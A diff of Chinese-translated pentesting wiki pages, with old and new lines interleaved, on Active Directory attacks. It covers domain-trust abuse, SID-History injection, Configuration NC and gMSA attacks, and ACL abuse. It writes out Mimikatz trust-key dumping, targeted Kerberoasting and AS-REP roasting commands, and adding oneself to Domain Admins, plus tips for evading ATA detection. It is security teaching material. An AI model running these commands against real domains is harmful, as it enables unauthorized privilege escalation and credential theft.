[了解什么是 SSP (Security Support Provider) 在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
你可以创建你自己的 **SSP** 来**以明文捕获**用于访问机器的**凭证**。
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
你可以创建你自己的 **SSP** 来**捕获**访问机器时使用的**明文凭据**。
{{#ref}}
@ -529,8 +523,9 @@ custom-ssp.md
### DCShadow
它在 AD 中注册一个**新的 Domain Controller** 并使用它在指定对象上**推送属性**(如 SIDHistory、SPNs...),同时**不留下任何关于这些修改的日志**。你需要 DA 权限并且位于**root domain** 内。\
注意:如果你使用错误的数据,会产生相当难看的日志。
它会在 AD 中注册一个**新的 Domain Controller** 并用它来**推送属性**(如 SIDHistory、SPNs…到指定对象且在关于这些**修改**方面不会留下日志。你需要 DA 权限并处于**root domain** 内。\
注意如果你使用了错误的数据,会产生相当难看的日志。
{{#ref}}
dcshadow.md
@ -538,7 +533,7 @@ dcshadow.md
### LAPS Persistence
前我们讨论了如果你有**足够权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久化**。\
我们讨论了如果你有**足够权限读取 LAPS 密码**时如何提升权限。然而,这些密码也可以用来**维持持久化**。\
参见:
@ -546,64 +541,64 @@ dcshadow.md
laps.md
{{#endref}}
## Forest 权限提升 - 域信任
## Forest Privilege Escalation - Domain Trusts
Microsoft 将 **Forest** 视为安全边界。这意味着**攻破单个域可能导致整个 Forest 被攻破**。
### 基本信息
### Basic Information
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) 是一种安全机制,允许一个域的用户访问另一个域的资源。它在两个域的认证系统之间创建了关联,使认证验证能够无缝流动。当域建立信任关系时,它们会在各自的 **Domain Controllers (DCs)** 中交换并保留某些关键 **keys**,这些 keys 对信任的完整性至关重要。
A [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) 是一种安全机制,允许来自一个**域**的用户访问另一个**域**中的资源。它本质上在两个域的认证系统之间创建了一个链接,使得认证验证可以顺畅地传递。当域设置了信任时,它们会在各自的 **Domain Controllers (DCs)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
在典型场景中,如果用户要访问**被信任域**中的服务,他们必须先从自己域的 DC 请求一个特殊的票据,称为**inter-realm TGT**。该 TGT 使用双方同意的共享 **key** 进行加密。随后用户将此 TGT 提交给**被信任域的 DC**以获取服务票据(**TGS**)。一旦被信任域的 DC 验证 inter-realm TGT 有效,它会签发 TGS授予用户对该服务的访问
在典型场景中,如果用户想访问**被信任域**中的服务,首先必须向自己域的 DC 请求一个特殊的票据,称为 **inter-realm TGT**。这个 TGT 使用双方约定的共享**密钥**加密。然后用户将该 TGT 提交给**被信任域的 DC**以获取服务票据(**TGS**)。被信任域的 DC 成功验证 inter-realm TGT 后,会签发一个 TGS授予用户访问该服务的权限
**步骤**
1. **Domain 1** 的**客户端计算机**开始流程,使用其 **NTLM hash** 向其 **Domain Controller (DC1)** 请求 **Ticket Granting Ticket (TGT)**
1. 一台位于 **Domain 1** 的**客户端计算机**使用其 **NTLM hash** 向其 **Domain Controller (DC1)** 请求 **Ticket Granting Ticket (TGT)**,启动该过程
2. 如果客户端认证成功DC1 会签发一个新的 TGT。
3. 客户端随后向 DC1 请求一个 **inter-realm TGT**,以访问 **Domain 2**的资源。
4. inter-realm TGT 使用作为双向域信任一部分的 DC1 与 DC2 共享的 **trust key** 进行加密。
3. 然后客户端向 DC1 请求一个**inter-realm TGT**,该票据用于访问 **Domain 2** 的资源。
4. inter-realm TGT 使用作为双向域信任一部分的 DC1 与 DC2 共享的**trust key**进行加密。
5. 客户端将 inter-realm TGT 带到 **Domain 2 的 Domain Controller (DC2)**
6. DC2 使用其共享的 trust key 验证 inter-realm TGT如果有效为客户端想要访问的 Domain 2 中的服务器签发 **Ticket Granting Service (TGS)**
7. 最后,客户端将此 TGS 提交给服务器,该 TGS 使用服务器账户的 hash 进行加密,以便访问 Domain 2 中的服务
6. DC2 使用其共享的 trust key 验证 inter-realm TGT如果有效为客户端想要访问的 Domain 2 中的服务器签发 **Ticket Granting Service (TGS)**
7. 最后,客户端将此 TGS 提交给服务器,该票据使用服务器账户的 hash 加密,从而获得对 Domain 2 中服务的访问权限
### 不同类型的信任
### Different trusts
需要注意的是,**信任可以是单向或双向的**。在双向信任中,两个域相互信任;而在**单向**信任关系中,一个域是 **trusted**,另一个是 **trusting**。在后一种情况下,**你只能从被信任域访问信任域内的资源**。
需要注意的是,**信任可以是单向或双向的**。在双向的情况下,两个域会互相信任,但在**单向**信任关系中,一个域为**trusted**,另一个为**trusting**。在后一种情况下,**你只能从被信任域访问信任域内的资源**。
如果 Domain A trusts Domain B则 A 为 trusting 域B 为 trusted 域。此外,在 **Domain A** 中,这将显示为一个 **Outbound trust**;而在 **Domain B** 中,这将显示为一个 **Inbound trust**
如果 Domain A 信任 Domain B则 A 是 trusting domainB 是 trusted domain。此外**Domain A** 中,这将是一个 **Outbound trust**;而在 **Domain B** 中,这将是一个 **Inbound trust**
**不同的信任关系类型**
**不同的信任关系**
- **Parent-Child Trusts**:这是同一森林内的常见设置,子域与其父域自动建立双向可传递的信任。基本上,这意味着父域和子域之间的认证请求可以无缝流动
- **Cross-link Trusts**称为“shortcut trusts”这些在子域之间建立以加速引用过程。在复杂的森林中认证引用通常需要先上行到森林根然后下行到目标域。通过创建 cross-links这一路径被缩短这在地理上分散的环境中特别有用。
- **External Trusts**这些用于不同、无关联的域之间,且本质上是非传递性的。根据 [Microsoft 的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)external trusts 对于访问不在当前 forest 且未通过 forest trust 连接的域资源很有用。外部信任通常通过 SID 过滤来增强安全性。
- **Tree-root Trusts**当向森林添加新的 tree root 时forest root domain 与新添加的 tree root 之间会自动建立此类信任。虽然不常见,但 tree-root trusts 对于向森林中添加新域树并使其保持唯一域名、保证双向传递性很重要。更多信息见 [Microsoft 指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **Forest Trusts**:这是两个 forest root domains 之间的双向可传递信任,同时也强制执行 SID 过滤以增强安全措施。
- **MIT Trusts**:这些与非 Windows、符合 [RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立信任。MIT trusts 更为专业,适用于需要与 Windows 生态外的基于 Kerberos 的系统集成的环境。
- **Parent-Child Trusts**:这是同一 forest 内的常见设置child domain 会自动与其 parent domain 建立双向可传递的信任。本质上,这意味着父域与子域之间的身份验证请求可以无缝流通
- **Cross-link Trusts**也称为 "shortcut trusts",在子域之间建立以加快引用过程。在复杂的 forest 中,身份验证引用通常需要向上到 forest root 然后再向下到目标域。通过创建 cross-links引用路径被缩短这在地理分散的环境中特别有用。
- **External Trusts**在不同、无关联的域之间建立,且本质上是非传递性的。根据 [Microsoft 的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)external trusts 对于访问当前 forest 之外且未由 forest trust 连接的域中的资源很有用。external trusts 通过 SID filtering 增强安全性。
- **Tree-root Trusts**这些信任在 forest root domain 与新添加的 tree root 之间自动建立。虽然不常见,但在向 forest 添加新的域树时很重要,允许它们保持唯一域名并确保双向传递性。更多信息请参见 [Microsoft 的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **Forest Trusts**:这类信任是在两个 forest root 域之间建立的双向可传递信任,同时执行 SID filtering 以增强安全措施。
- **MIT Trusts**:这些信任与非 Windows、符合 [RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT trusts 更加专业,适用于需要与 Windows 生态系统外的 Kerberos 基础系统集成的环境。
#### 信任关系的其他差异
#### Other differences in **trusting relationships**
- 信任关系也可以是**可传递的**例如 A trusts BB trusts C则 A trusts C或**非传递的**
- 信任关系可以设置为**双向信任**(双方互相信任)或**单向信任**(仅一方信任另一方)。
- 信任关系也可以是**可传递的**A 信任 BB 信任 C则 A 信任 C**非传递的**
- 信任关系可以设置为 **bidirectional trust**(双方互信)或 **one-way trust**(仅一方信任另一方)。
### 攻击路径
### Attack Path
1. **枚举** 信任关系
2. 检查是否有任何 **security principal**user/group/computer对**另一个域**的资源拥有**访问**,可能通过 ACE 条目或成为另一个域的组成员。查找跨域的**关系**(信任可能就是为此创建的)。
1. **Enumerate** 信任关系
2. 检查是否有任何 **security principal**user/group/computer对**另一域**的资源有**访问**权限,可能是通过 ACE 条目或位于对方域的组中。查找**跨域的关系**(信任可能就是为此创建的)。
1. 在这种情况下kerberoast 也可能是另一个选项。
3. **攻破** 可以用于**跨域 pivot** 的 **账户**
3. **Compromise** 能够**pivot** 跨域的**帐户**
攻击者通过三种主要机制访问另一个域的资源:
攻击者可能通过三种主要机制访问另一个域的资源:
- **Local Group Membership**:主体可能被添加到机器上的本地组(例如服务器的 “Administrators” 组),从而获得对该机器的重大控制权。
- **Foreign Domain Group Membership**:主体也可能是外域中某些组的成员。然而,这种方法的有效性取决于信任的性质和组的作用
- **Access Control Lists (ACLs)**:主体可能被列在 **ACL** 中,特别是作为 **DACL****ACE** 的实体,从而为其提供对特定资源的访问。想深入了解 ACL、DACL 和 ACE 的机制,可参阅白皮书 “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” 。
- **Local Group Membership**:主体可能被添加到机器上的本地组(例如服务器的 “Administrators” 组),从而获得对该机器的显著控制权。
- **Foreign Domain Group Membership**:主体也可能是外域中某些组的成员。然而,这种方法的有效性取决于信任的性质和组的作用范围
- **Access Control Lists (ACLs)**:主体可能**ACL** 中被指定,尤其是在 **DACL** 内的 **ACE** 条目中,从而为其提供对特定资源的访问。想深入了解 ACL、DACL 和 ACE 机制的人,可以参考题为 “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” 的白皮书
### 查找具有权限的外部用户/组
### Find external users/groups with permissions
你可以检查 **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** 来查找域中的外部安全主体。这些将来自**外部域/forest**的用户/组。
你可以检查 **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** 来查找域中的外部安全主体。这些将来自**外部域/forest**的用户/组。
你可以在 Bloodhound 中或使用 powerview 来检查
你可以在 **Bloodhound**检查,或使用 powerview
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
@ -637,8 +632,8 @@ nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> 存在 **2 个 trusted keys**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_.\
> 你可以使用以下命令查看当前域使用的 key
> **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_.\
> 你可以使用以下命令查看当前域使用的密钥
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -647,8 +642,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
#### SID-History Injection
以 Enterprise admin 身份滥用信任进行 SID-History injection提升到子域/父域:
滥用信任并通过 SID-History injection 将权限升级为子/父域的 Enterprise admin
{{#ref}}
sid-history-injection.md
@ -656,45 +650,43 @@ sid-history-injection.md
#### Exploit writeable Configuration NC
理解如何利用 Configuration NC 非常关键。Configuration NC 是 Active Directory (AD) 林中用于存放配置信息的集中仓库。此数据会复制到林内的每个 Domain Controller (DC),可写的 DC 会保有 Configuration NC 的可写副本。要利用它,必须在某个 DC 上拥有 **DC 上的 SYSTEM 权限**,最好是子 DC。
理解如何利用 Configuration Naming Context (NC) 十分关键。Configuration NC 在 Active Directory (AD) 环境的森林中充当配置数据的中央存储库。该数据会复制到森林内的每个 Domain Controller (DC),可写的 DC 会保有 Configuration NC 的可写副本。要利用此项,需要在某个 DC 上拥有 **SYSTEM 特权**,最好是子 DC。
**Link GPO to root DC site**
Configuration NC 的 Sites 容器包含了林中所有加入域的计算机所在站点的信息。通过在任一 DC 上以 SYSTEM 权限操作,攻击者可以将 GPO 链接到根 DC 的站点。此操作可能通过操纵应用于这些站点的策略来危及根域。
Configuration NC 的 Sites 容器包含有关 AD forest 中所有加入域的计算机站点的信息。通过在任意 DC 上以 SYSTEM 权限操作,攻击者可以将 GPO 链接到 root DC 的站点。此举可能通过操纵应用于这些站点的策略来危及根域。
更多深入信息可参考研究:[Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
如需深入信息,可参考研究 [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)
**Compromise any gMSA in the forest**
一个攻击向量是针对域内的特权 gMSA。用于计算 gMSA 密码的 KDS Root key 存储在 Configuration NC 中。拥有任一 DC 的 SYSTEM 权限后,攻击者可以访问 KDS Root key并计算出林内任意 gMSA 的密码。
详细分析和逐步指南可以在以下找到:
一种攻击向量是针对域内具有特权的 gMSA。用于计算 gMSA 密码的 KDS Root key 存储在 Configuration NC 中。在任意 DC 上拥有 SYSTEM 特权的情况下,可访问 KDS Root key 并计算森林中任何 gMSA 的密码。
详细分析和逐步指导可参见:
{{#ref}}
golden-dmsa-gmsa.md
{{#endref}}
补充的委派 MSA 攻击BadSuccessor — 滥用迁移属性):
补充的委派 MSA 攻击BadSuccessor 滥用 migration attributes
{{#ref}}
badsuccessor-dmsa-migration-abuse.md
{{#endref}}
附加外部研究:[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
额外外部研究:[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
**Schema change attack**
此方法需要耐心,等待新特权 AD 对象的创建。拥有 SYSTEM 权限后,攻击者可以修改 AD Schema 以授予任意用户对所有类的完全控制权。这可能导致对新创建 AD 对象的未授权访问和控制。
此方法需要耐心,等待新创建的具有特权的 AD 对象的出现。拥有 SYSTEM 特权后,攻击者可以修改 AD Schema授予任何用户对所有类的完全控制权。这可能导致对新创建 AD 对象的未授权访问和控制。
更多阅读请见 [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
更多阅读请见 [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)
**From DA to EA with ADCS ESC5**
ADCS ESC5 漏洞针对对 Public Key Infrastructure (PKI) 对象的控制,创建一个证书模板,从而使得能以林内任意用户身份进行认证。由于 PKI 对象位于 Configuration NC攻陷一个可写的子 DC 就能执行 ESC5 攻击。
ADCS ESC5 漏洞针对对 PKI 对象的控制,允许创建一个证书模板,从而在整个林中以任何用户进行身份验证。由于 PKI 对象位于 Configuration NC 中,攻陷一个可写的子 DC 可以执行 ESC5 攻击。
更多细节见 [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在没有 ADCS 的场景中,攻击者也能按需搭建必要组件,相关讨论见 [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
关于此攻击的更多细节见 [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在没有 ADCS 的场景中,攻击者也能够搭建所需组件,详见 [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)
### External Forest Domain - One-Way (Inbound) or bidirectional
```bash
@ -707,7 +699,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
在此场景中 **你的域被一个外部域所信任**,从而赋予你对其 **未确定的权限**。你需要找出 **你域中的哪些安全主体对外部域拥有哪些访问权限**,然后尝试利用它:
在此场景中 **你的域被一个外部域信任**,这使你对其拥有 **未确定的权限**。你需要找出 **你域中的哪些主体对外部域具有哪些访问权限**,然后尝试利用它:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -725,19 +717,19 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
本场景中,**你的域** 正在 **信任** 来自 **不同域** 的主体并授予其某**权限**
这种情形下,**你的域** 正在 **信任** 来自 **不同域** 的主体的一**权限**
然而,当一个 **域被信任**(被信任方)被信任域信任时,受信任域会**创建一个用户**,该用户具有**可预测的名称**,并使用**受信任密码作为密码**。这意味着可以**利用来自信任域的用户访问来进入受信任域**,枚举其信息并尝试提升更多权限:
但是,当一个 **域被信任** 时,被信任的域会在信任域中 **创建一个用户**,其 **名称可预测**,并且将 **trusted password** 作为该用户的 **密码**。这意味着可以 **访问来自信任域的用户以进入被信任域**,对其进行枚举并尝试升级更多权限:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
另一种破坏受信任域的方法是发现一个在域信任**相反方向**创建的[**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
另一种攻破被信任域的方法是找到在域信任的 **相反方向** 创建的 [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
另一种破坏受信任域的方法是等待在一台**受信任域的用户可以通过 RDP 登录**的机器上。然后,攻击者可以在 RDP 会话进程中注入代码,并从那里**访问受害者的源域**。\
此外,如果**受害者挂载了他的硬盘**,攻击者可以从 **RDP session** 进程在**硬盘的启动文件夹**中存放 **backdoors**。该技术称为 **RDPInception.**
另一种攻破被信任域的方法是等待在一台 **被信任域的用户可以访问** 的机器上,通过 **RDP** 登录。然后,攻击者可以在 RDP 会话进程中注入代码,并从那里 **访问受害者的源域**。\
此外,如果 **受害者挂载了他的硬盘**,攻击者可以从 **RDP 会话** 进程在硬盘的 **startup folder** 中存放 **后门**。该技术称为 **RDPInception。**
{{#ref}}
@ -748,13 +740,13 @@ rdp-sessions-abuse.md
### **SID Filtering:**
- SID Filtering 默认为所有跨林信任启用,以降低利用 SID history 属性进行跨林攻击的风险。其前提是假设林内信任是安全的将安全边界视为森林forest而非域这与 Microsoft 的立场一致
- 但有一点需要注意SID filtering 可能会影响应用程序和用户访问,因此有时会被停用。
- 跨林信任利用 SID history 属性的攻击风险可以通过 SID Filtering 来缓解SID Filtering 在所有林间信任上默认启用。其前提是认为林forest而非域domain是安全边界这是基于 Microsoft 的立场
- 但有一个问题SID Filtering 可能会破坏某些应用程序和用户访问,因此有时会被停用。
### **Selective Authentication:**
- 对于跨林信任,使用 Selective Authentication 可确保来自两个林的用户不会被自动验证。相反,用户需要明确的权限才能访问信任域或林内的域和服务器。
- 需要注意的是,这些措施并不能防止对可写的 Configuration Naming Context (NC) 的利用或对信任账户的攻击。
- 对于林间信任,采用 Selective Authentication 可以确保来自两个林的用户不会被自动认证。取而代之的是,需要明确授予权限,才能让这些用户访问信任域或林内的域和服务器。
- 需要注意的是,这些措施无法防止对可写的 Configuration Naming Context (NC) 的利用,或对 trust account 的攻击。
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -765,35 +757,35 @@ rdp-sessions-abuse.md
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## 一些通用防御措施
## 一些常见防御措施
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
### **Defensive Measures for Credential Protection**
### **凭证保护的防御措施**
- **Domain Admins Restrictions**:建议 Domain Admins 仅被允许登录到 Domain Controllers避免在其他主机上使用。
- **Service Account Privileges**:服务不应以 Domain Admin (DA) 权限运行,以维护安全。
- **Temporal Privilege Limitation**:对于需要 DA 权限的任务,应限制其持续时间。可以使用如下命令实现: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Domain Admins 限制**:建议 Domain Admins 只允许登录到 Domain Controllers避免在其他主机上使用该账户
- **服务账号权限**:服务不应以 Domain Admin (DA) 权限运行以保持安全。
- **临时权限限制**:对于需要 DA 权限的任务,应限制其持续时间。可以通过以下方式实现:`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Implementing Deception Techniques**
### **实施诱饵Deception技术**
- 实施欺骗包括设置陷阱,例如诱饵用户或计算机,具有诸如密码永不过期或被标记为 Trusted for Delegation 等特性。详细方法包括创建具有特定权限的用户或将其添加到高权限组中。
- 一个实际示例涉及使用如下工具: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 有关部署欺骗技术的更多信息,请参阅 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)。
- 实施诱饵包括设置陷阱,例如诱饵用户或计算机,特征可以是密码永不过期或被标记为 Trusted for Delegation。详细方法包括创建具有特定权限的用户或将其添加到高权限组中。
- 一个实用示例包含使用如下工具:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 有关部署诱饵技术的更多信息,请参见 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)。
### **Identifying Deception**
### **识别诱饵**
- **For User Objects**:可疑指标包括不寻常的 ObjectSID、罕见的登录、创建日期异常以及低错误密码计数。
- **General Indicators**:将潜在诱饵对象的属性与真实对象进行比较可揭示不一致之处。像 [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) 这样的工具可以帮助识别此类欺骗
- **针对用户对象**:可疑指标包括非典型的 ObjectSID、稀少的登录、创建日期异常以及较低的错误密码计数。
- **一般指标**:将潜在诱饵对象的属性与真实对象进行比较可揭示不一致。像 [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) 这样的工具可以帮助识别此类诱饵
### **Bypassing Detection Systems**
### **规避检测系统**
- **Microsoft ATA Detection Bypass**:
- **User Enumeration**:避免在 Domain Controllers 上进行会话枚举以防触发 ATA 检测。
- **Ticket Impersonation**:使用 **aes** 密钥创建票证有助于逃避检测,因为不会降级到 NTLM。
- **DCSync Attacks**:建议在非 Domain Controller 上执行以避免 ATA 检测,因为直接在 Domain Controller 上执行会触发告警。
- **Microsoft ATA Detection Bypass**
- **用户枚举**:避免在 Domain Controllers 上进行会话枚举以防触发 ATA 检测。
- **Ticket Impersonation**:使用 **aes** 密钥创建票证有助于规避检测,因为这样可以避免降级到 NTLM。
- **DCSync 攻击**:建议从非 Domain Controller 执行以避免 ATA 检测,因为直接从 Domain Controller 执行会触发告警。
## References
## 参考文献
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
**本页主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**。更多细节请查看原文。**
**本页主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术有关更多细节请查看原。**
## BadSuccessor
@ -11,32 +11,32 @@
BadSuccessor.md
{{#endref}}
## **用户的 GenericAll 权限**
## **GenericAll 权限(针对用户)**
该权限予攻击者对目标用户帐户的完全控制。一旦使用 `Get-ObjectAcl` 命令确认拥有 `GenericAll` 权限,攻击者可以:
该权限予攻击者对目标用户帐户的完全控制。一旦使用 `Get-ObjectAcl` 命令确认 `GenericAll` 权限,攻击者可以:
- **修改目标密码**:使用 `net user <username> <password> /domain`,攻击者可以重置该用户的密码。
- **Targeted Kerberoasting**:将 SPN 分配给该用户账号,使其 kerberoastable然后使用 Rubeus 和 targetedKerberoast.py 提取并尝试破解 ticket-granting ticket (TGT) 的哈希。
- **更改目标的密码**:使用 `net user <username> <password> /domain`,攻击者可以重置该用户的密码。
- **Targeted Kerberoasting**: 将 SPN 分配给用户帐户以使其 kerberoastable然后使用 Rubeus 和 targetedKerberoast.py 提取并尝试破解 ticket-granting ticket (TGT) 的哈希。
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: 禁用该用户的预认证,使其账户易受 ASREPRoasting 攻击。
- **Targeted ASREPRoasting**: 禁用该用户的 pre-authentication使其帐户容易受到 ASREPRoasting 攻击。
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **组上的 GenericAll 权限**
## **GenericAll 权限(对组)**
如果攻击者对像 `Domain Admins` 这样的组拥有 `GenericAll` 权限,该权限允许他们操作该组的成员资格。在使用 `Get-NetGroup` 确认该组的 distinguished nameDN)后,攻击者可以:
该特权允许攻击者在对像 `Domain Admins` 这样的组拥有 `GenericAll` 权限时操纵组成员。使用 `Get-NetGroup` 确定该组的 distinguished name区分名称)后,攻击者可以:
- **将自己添加到 Domain Admins 组**:这可以通过直接命令或使用像 Active Directory 或 PowerSploit 这样的模块来完成
- **将自己添加到 Domain Admins 组**:这可以通过直接命令完成,或使用像 Active Directory 或 PowerSploit 这样的模块。
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
- 从 Linux 上你也可以利用 BloodyAD 在你对某些组拥有 GenericAll/Write 成员资格时将自己添加到任意组中。如果目标组被嵌套到 “Remote Management Users”你将立即在认可该组的主机上获得 WinRM 访问权限:
- 在 Linux 上,当你对某些组拥有 GenericAll/Write 成员权限时,也可以利用 BloodyAD 将自己添加到任意组中。如果目标组被嵌套在 “Remote Management Users” 中,凡是遵循该组的主机你将立即获得 WinRM 访问权限:
```bash
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,35 +46,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
```
## **GenericAll / GenericWrite / Write on Computer/User**
在计算机对象或用户帐户上拥有这些特权可用于
在计算机对象或用户帐户上拥有这些权限可允许
- **Kerberos Resource-based Constrained Delegation**: 使得能够接管计算机对象。
- **Shadow Credentials**: 使用该技术可以通过利用这些特权创建 shadow credentials 来模拟计算机或用户帐户。
- **Kerberos Resource-based Constrained Delegation**: 可以接管计算机对象。
- **Shadow Credentials**: 利用该技术通过使用这些权限创建 shadow credentials 来模拟计算机或用户帐户。
## **WriteProperty on Group**
如果用户对某个组(例如 `Domain Admins`)的所有对象具有 `WriteProperty` 权限,他们可以:
如果用户对特定组的所有对象拥有 `WriteProperty` 权限(例如 `Domain Admins`,他们可以:
- **将自己添加到 Domain Admins 组**:通过组合 `net user``Add-NetGroupUser` 命令可以实现,该方法允许在域内进行 privilege escalation
- **Add Themselves to the Domain Admins Group**: 通过结合 `net user``Add-NetGroupUser` 命令实现,此方法允许在域内提权
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) on Group**
## **Self(组内自我成员资格)**
该权限使攻击者能够通过直接操作组成员资格的命令将自己添加到特定组,例如 `Domain Admins`。使用下命令序列可以实现自我添加:
此权限允许攻击者通过直接操作组成员的命令将自己添加到特定组,例如 `Domain Admins`。使用下面的命令序列可以实现自我添加:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
类似的权限,如果攻击者对那些组拥有 `WriteProperty` 权利,就可以通过修改组属性直接将自己添加到这些组中。对此权限的确认和执行可以通过以下方式完成
这是一个类似的权限,允许攻击者在对这些组拥有 `WriteProperty` 权利时,通过修改组属性将自己直接添加到组中。该权限的确认和执行使用以下方式进行
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
